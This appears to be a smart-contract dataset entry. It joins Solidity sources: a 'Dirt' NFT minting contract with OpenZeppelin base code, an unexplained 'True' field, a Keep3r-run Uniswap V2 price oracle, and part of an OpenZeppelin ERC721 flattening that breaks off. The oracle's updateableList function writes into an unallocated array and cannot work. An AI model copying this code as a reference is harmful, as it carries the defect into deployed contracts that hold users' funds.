* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/Dirt.sol
pragma solidity ^0.8.0;
contract Dirt is ERC721Enumerable, Ownable {
uint256 public constant MAX_NFT_SUPPLY = 2500;
uint public constant MAX_PURCHASABLE = 30;
uint256 public DIRT_PRICE = 30000000000000000; // 0.03 ETH
string public PROVENANCE_HASH = "";
bool public saleStarted = false;
constructor() ERC721("Dirt", "DIRT") {
}
function _baseURI() internal view virtual override returns (string memory) {
return "https://api.gravelnfts.com/";
}
function getTokenURI(uint256 tokenId) public view returns (string memory) {
return tokenURI(tokenId);
}
function mint(uint256 amountToMint) public payable {
require(saleStarted == true, "This sale has not started.");
require(totalSupply() < MAX_NFT_SUPPLY, "All NFTs have been minted.");
require(amountToMint > 0, "You must mint at least one Dirt.");
require(amountToMint <= MAX_PURCHASABLE, "You cannot mint more than 30 Dirt.");
require(totalSupply() + amountToMint <= MAX_NFT_SUPPLY, "The amount of Dirt you are trying to mint exceeds the MAX_NFT_SUPPLY.");
require(DIRT_PRICE * amountToMint == msg.value, "Incorrect Ether value.");
for (uint256 i = 0; i < amountToMint; i++) {
uint256 mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
function startSale() public onlyOwner {
saleStarted = true;
}
function pauseSale() public onlyOwner {
saleStarted = false;
}
function setProvenanceHash(string memory _hash) public onlyOwner {
PROVENANCE_HASH = _hash;
}
function withdraw() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IKeep3r {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
}
// sliding window oracle that uses observations collected over a window to provide moving price averages in the past
// `windowSize` with a precision of `windowSize / granularity`
contract UniswapV2Oracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
modifier keeper() {
require(KPR.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
}
modifier upkeep() {
require(KPR.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
KPR.worked(msg.sender);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
IKeep3r public constant KPR = IKeep3r(0xB63650C42d6fCcA02f5353A711cB85400dB6a8FE);
address public immutable factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
// the desired amount of time over which the moving average should be computed, e.g. 24 hours
uint public immutable windowSize = 14400;
// the number of observations stored for each pair, i.e. how many price observations are stored for the window.
// as granularity increases from 1, more frequent updates are needed, but moving averages become more precise.
// averages are computed over intervals with sizes in the range:
// [windowSize - (windowSize / granularity) * 2, windowSize]
// e.g. if the window size is 24 hours, and the granularity is 24, the oracle will return the average price for
// the period:
// [now - [22 hours, 24 hours], now]
uint8 public immutable granularity = 8;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint public immutable periodSize = 1800;
address[] internal _pairs;
mapping(address => bool) internal _known;
mapping(address => uint) public lastUpdated;
function pairs() external view returns (address[] memory) {
return _pairs;
}
// mapping from pair address to a list of price observations of that pair
mapping(address => Observation[]) public pairObservations;
constructor() public {
governance = msg.sender;
}
// returns the index of the observation corresponding to the given timestamp
function observationIndexOf(uint timestamp) public view returns (uint8 index) {
uint epochPeriod = timestamp / periodSize;
return uint8(epochPeriod % granularity);
}
// returns the observation from the oldest epoch (at the beginning of the window) relative to the current time
function getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) {
uint8 observationIndex = observationIndexOf(block.timestamp);
// no overflow issue. if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = pairObservations[pair][firstObservationIndex];
}
function updatePair(address pair) external keeper returns (bool) {
return _update(pair);
}
// update the cumulative price for the observation at the current timestamp. each observation is updated at most
// once per epoch period.
function update(address tokenA, address tokenB) external keeper returns (bool) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
return _update(pair);
}
function add(address tokenA, address tokenB) external {
require(msg.sender == governance, "UniswapV2Oracle::add: !gov");
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
}
function work() public upkeep {
bool worked = _updateAll();
require(worked, "UniswapV2Oracle: no work");
}
function _updateAll() internal returns (bool updated) {
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateFor(uint i, uint length) external keeper returns (bool updated) {
for (; i < length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateableList() external view returns (address[] memory list) {
uint _index = 0;
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
list[_index++] = _pairs[i];
}
}
}
function updateable(address pair) public view returns (bool) {
return (block.timestamp - lastUpdated[pair]) > periodSize;
}
function updateable() external view returns (bool) {
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function updateableFor(uint i, uint length) external view returns (bool) {
for (; i < length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function _update(address pair) internal returns (bool) {
// populate the array with empty observations (first call only)
for (uint i = pairObservations[pair].length; i < granularity; i++) {
pairObservations[pair].push();
}
// get the observation for the current period
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed > periodSize) {
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
observation.timestamp = block.timestamp;
lastUpdated[pair] = block.timestamp;
observation.price0Cumulative = price0Cumulative;
observation.price1Cumulative = price1Cumulative;
return true;
}
return false;
}
// given the cumulative prices of the start and end of a period, and the length of the period, compute the average
// price in terms of how much amount out is received for the amount in
function computeAmountOut(
uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn
) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = priceAverage.mul(amountIn).decode144();
}
// returns the amount out corresponding to the amount in for a given token using the moving average over the time
// range [now - [windowSize, windowSize - periodSize * 2], now]
// update must have been called for the bucket corresponding to timestamp `now - windowSize`
function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
address pair = UniswapV2Library.pairFor(factory, tokenIn, tokenOut);
Observation storage firstObservation = getFirstObservationInWindow(pair);
uint timeElapsed = block.timestamp - firstObservation.timestamp;
require(timeElapsed <= windowSize, 'SlidingWindowOracle: MISSING_HISTORICAL_OBSERVATION');
// should never happen.
require(timeElapsed >= windowSize - periodSize * 2, 'SlidingWindowOracle: UNEXPECTED_TIME_ELAPSED');
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);
(address token0,) = UniswapV2Library.sortTokens(tokenIn, tokenOut);
if (token0 == tokenIn) {
return computeAmountOut(firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return computeAmountOut(firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
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/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
// File: @openzeppelin\contracts\utils\introspection\IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin\contracts\token\ERC721\IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin\contracts\token\ERC721\IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin\contracts\token\ERC721\extensions\IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin\contracts\token\ERC721\extensions\IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin\contracts\utils\Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
